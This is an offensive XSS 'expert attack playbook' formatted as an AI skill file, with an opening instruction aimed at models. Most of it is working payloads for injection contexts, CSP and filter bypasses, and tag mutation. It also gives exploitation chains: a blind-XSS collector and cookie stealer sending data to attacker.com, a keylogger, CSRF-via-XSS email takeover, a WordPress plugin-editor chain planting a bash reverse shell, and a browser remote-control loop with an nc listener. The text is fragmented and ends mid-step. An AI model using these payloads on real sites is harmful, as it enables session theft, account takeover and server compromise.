SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
AI LOAD INSTRUCTION
This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows
— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion
SCENARIOS.md
.
0. RELATED ROUTING
Extended Scenarios
Also load
SCENARIOS.md
when you need:
Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
UTF-7 XSS for legacy IE environments (
+ADw-script+AD4-
)
HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
XS-Leaks side channel attacks — timing oracle, cache probing,
performance.now()
measurement
Session fixation via XSS — pre-set session ID before victim login
DOM clobbering techniques for CSP-restricted environments
Advanced Tricks
Also load
ADVANCED_XSS_TRICKS.md
when you need:
mXSS / DOMPurify bypass — namespace confusion,
parsing differential, form/table restructuring
DOM Clobbering — property override via
id
/
name
, HTMLCollection, deep property chains
Modern framework XSS — React
dangerouslySetInnerHTML
, Vue
v-html
, Angular
bypassSecurityTrust*
, Next.js SSR
Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle
Before broad payload spraying, you can first load:
upload insecure files
when you need the full upload path: validation, storage, preview, and sharing behavior
Quick context picks
Context
First Pick
Backup
HTML body
Quoted attribute
" autofocus onfocus=alert(1)//
" onmouseover=alert(1)//
JavaScript string
'-alert(1)-'
'</script>
URL / href sink
javascript:alert(1)
data:text/html,
Tag body like
title
</title>
SVG / XML sink
XHTML namespace payload
<
svg
onload
=
alert
(
1
)
>
<
img
src
=
1
onerror
=
alert
(
1
)
>
" autofocus onfocus=alert(1)//
'
script
>
<
svg
onload
=
alert
(
1
)
>
javascript:alert(1)
data:text/html,
<
svg
onload
=
alert
(
1
)
>
1. INJECTION CONTEXT MATRIX
Identify context
before
picking a payload. Wrong context = wasted attempts.
Context
Indicator
Opener
Payload
HTML outside tag
INPUT
HTML attribute value
value="INPUT"
"
close attr
"onmouseover=alert(1)//
Inline attr, no tag close
Quoted,
>
stripped
Event injection
"autofocus onfocus=alert(1)//
Block tag (title/script/textarea)
<title>INPUT</title>
Close tag first
</title>
href / src / data / action
link or form
Protocol
javascript:alert(1)
JS string (single quote)
var x='INPUT'
Break string
'-alert(1)-'
or
'-alert(1)//
JS string with escape
Backslash escaping
Double escape
\'-alert(1)//
JS logical block
Inside if/function
Close + inject
'}alert(1);{'
JS anywhere on page
XML page (
text/xml
)
XML content-type
XML namespace
alert(1)
2. MULTI-REFLECTION ATTACKS
When input reflects in
multiple places
on the same page — single payload triggers from all points:
'onload=alert(1)>alert(1)
script
>
Attacker controls
facebook.com.ATTACKER.com
subdomain.
XML-Based XSS
Response has
text/xml
or
application/xml
:
<
x:
script
xmlns:
x
=
"
http://www.w3.org/1999/xhtml
"
>
alert(1)
x:
script
>
<
x:
script
xmlns:
x
=
"
http://www.w3.org/1999/xhtml
"
src
=
"
//attacker.com/1.js
"
/>
Script Injection Without Closing Tag
When there IS a
</script>
tag later in the page:
<
script
src
=
data:,alert(1)
>
<
script
src
=
//attacker.com/1.js
>
4. CSP BYPASS TECHNIQUES
JSONP Endpoint Bypass (allow-listed domain has JSONP)
<
script
src
=
"
https://www.google.com/complete/search?client=chrome&jsonp=alert(1);
"
>
script
>
AngularJS CDN Bypass (allow-listed
ajax.googleapis.com
)
<
script
src
=
"
https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js
"
>
script
>
<
x
ng-app
ng-csp
>
{{constructor.constructor('alert(1)')()}}
x
>
Angular Expressions (server encodes HTML but AngularJS evaluates)
When
{{1+1}}
evaluates to
2
on page — classic CSTI indicator:
// Angular 1.x sandbox escape:
{
{
constructor
.
constructor
(
'alert(1)'
)
(
)
}
}
// Angular 1.5.x:
{
{
x
=
{
'y'
:
''
.
constructor
.
prototype
}
;
x
[
'y'
]
.
charAt
=
[
]
.
join
;
$eval
(
'x=alert(1)'
)
;
}
}
base-uri Injection (CSP without base-uri restriction)
<
base
href
=
"
https://attacker.com/
"
>
Relative
Payload is the
parameter name
, not value.
Encoding Chains
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
Test sequence: reflect → encoding behavior → identify filter logic → mutate.
Tag Mutation (blacklist bypass)
<
ScRipt
>
← case variation
← trailing garbage
<
script
←
incomplete
(relies
on
later
>
)
<%00iframe ← null byte
...
:
"onmouseover=alert(1)//
"autofocus onfocus=alert(1)//
Vectors Without Event Handlers
<
form
action
=
javascript:alert(1)
>
<
input
type
=
submit
>
<
form
>
<
button
formaction
=
javascript:alert(1)
>
click
<
isindex
action
=
javascript:alert(1)
type
=
submit
value
=
click
>
<
object
data
=
javascript:alert(1)
>
<
iframe
srcdoc
=
<
math
>
<
brute
href
=
javascript:alert(1)
>
click
6. SECOND-ORDER XSS
Definition
: Input is stored (often normalized/HTML-encoded), then later
retrieved
and inserted into DOM without re-encoding.
Classic trigger payload
(bypasses immediate HTML encoding):
<svg/onload=alert(1)>
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS
: most impactful — sign up with crafted username, wait for admin to view user list.
7. BLIND XSS METHODOLOGY
Every parameter that is
not immediately reflected
should be tested for blind XSS:
Contact forms, feedback fields
User-agent / referer
Registration fields
Error log injections
Blind XSS callback payload
(remote JS file approach):
">
<
script
src
=
//attacker.com/bxss.js
>
script
>
Minimal collector
(hosted at
bxss.js
):
var
d
=
document
;
var
msg
=
'URL: '
+
d
.
URL
+
'\nCOOKIE: '
+
d
.
cookie
+
'\nDOM:\n'
+
d
.
documentElement
.
innerHTML
;
fetch
(
'https://attacker.com/collect?'
+
encodeURIComponent
(
msg
)
)
;
Use
XSS Hunter
or similar blind XSS platform for automated collection.
8. XSS EXPLOITATION CHAIN
Cookie Steal
fetch
(
'//attacker.com/?c='
+
document
.
cookie
)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
Keylogger
document
.
onkeypress
=
function
(
e
)
{
fetch
(
'//attacker.com/k?k='
+
encodeURIComponent
(
e
.
key
)
)
;
}
CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
var
r
=
new
XMLHttpRequest
(
)
;
r
.
open
(
'GET'
,
'/account/settings'
,
false
)
;
r
.
send
(
)
;
var
token
=
/
csrf_token
[
'":
\s
]
+
(
[
^
'"<
\s
]
+
)
/
.
exec
(
r
.
responseText
)
[
1
]
;
var
f
=
new
XMLHttpRequest
(
)
;
f
.
open
(
'POST'
,
'/account/email/change'
,
true
)
;
f
.
setRequestHeader
(
'Content-Type'
,
'application/x-www-form-urlencoded'
)
;
f
.
send
(
'email=attacker@evil.com&csrf='
+
token
)
;
WordPress XSS → RCE (admin session + Hello Dolly plugin):
p
=
'/wp-admin/plugin-editor.php?'
;
q
=
'file=hello.php'
;
s
=
'=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'
;
a
=
new
XMLHttpRequest
(
)
;
a
.
open
(
'GET'
,
p
+
q
,
0
)
;
a
.
send
(
)
;
$
=
'_wpnonce='
+
/
nonce" value="
(
[
^
"
]
*?
)
"
/
.
exec
(
a
.
responseText
)
[
1
]
+
'&newcontent='
+
encodeURIComponent
(
s
)
+
'&action=update&'
+
q
;
b
=
new
XMLHttpRequest
(
)
;
b
.
open
(
'POST'
,
p
+
q
,
1
)
;
b
.
setRequestHeader
(
'Content-Type'
,
'application/x-www-form-urlencoded'
)
;
b
.
send
(
$
)
;
b
.
onreadystatechange
=
function
(
)
{
if
(
this
.
readyState
==
4
)
fetch
(
'/wp-content/plugins/hello.php'
)
;
}
Browser Remote Control (JS command shell)
// Injected into victim:
setInterval
(
function
(
)
{
with
(
document
)
body
.
appendChild
(
createElement
(
'script'
)
)
.
src
=
'//ATTACKER:5855'
}
,
100
)
# Attacker listener:
while
:
;
do
printf
"j$ "
;
read
c
;
echo
$c
|
nc
-lp
5855
>
/dev/null
;
done
9. DECISION TREE
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions
10. XSS TESTING PROCESS (ZSEANO METHOD)
Step 1
— Test non-malicious tags:
,
,
— are they reflected raw?
Step 2
— Test incomplete tags: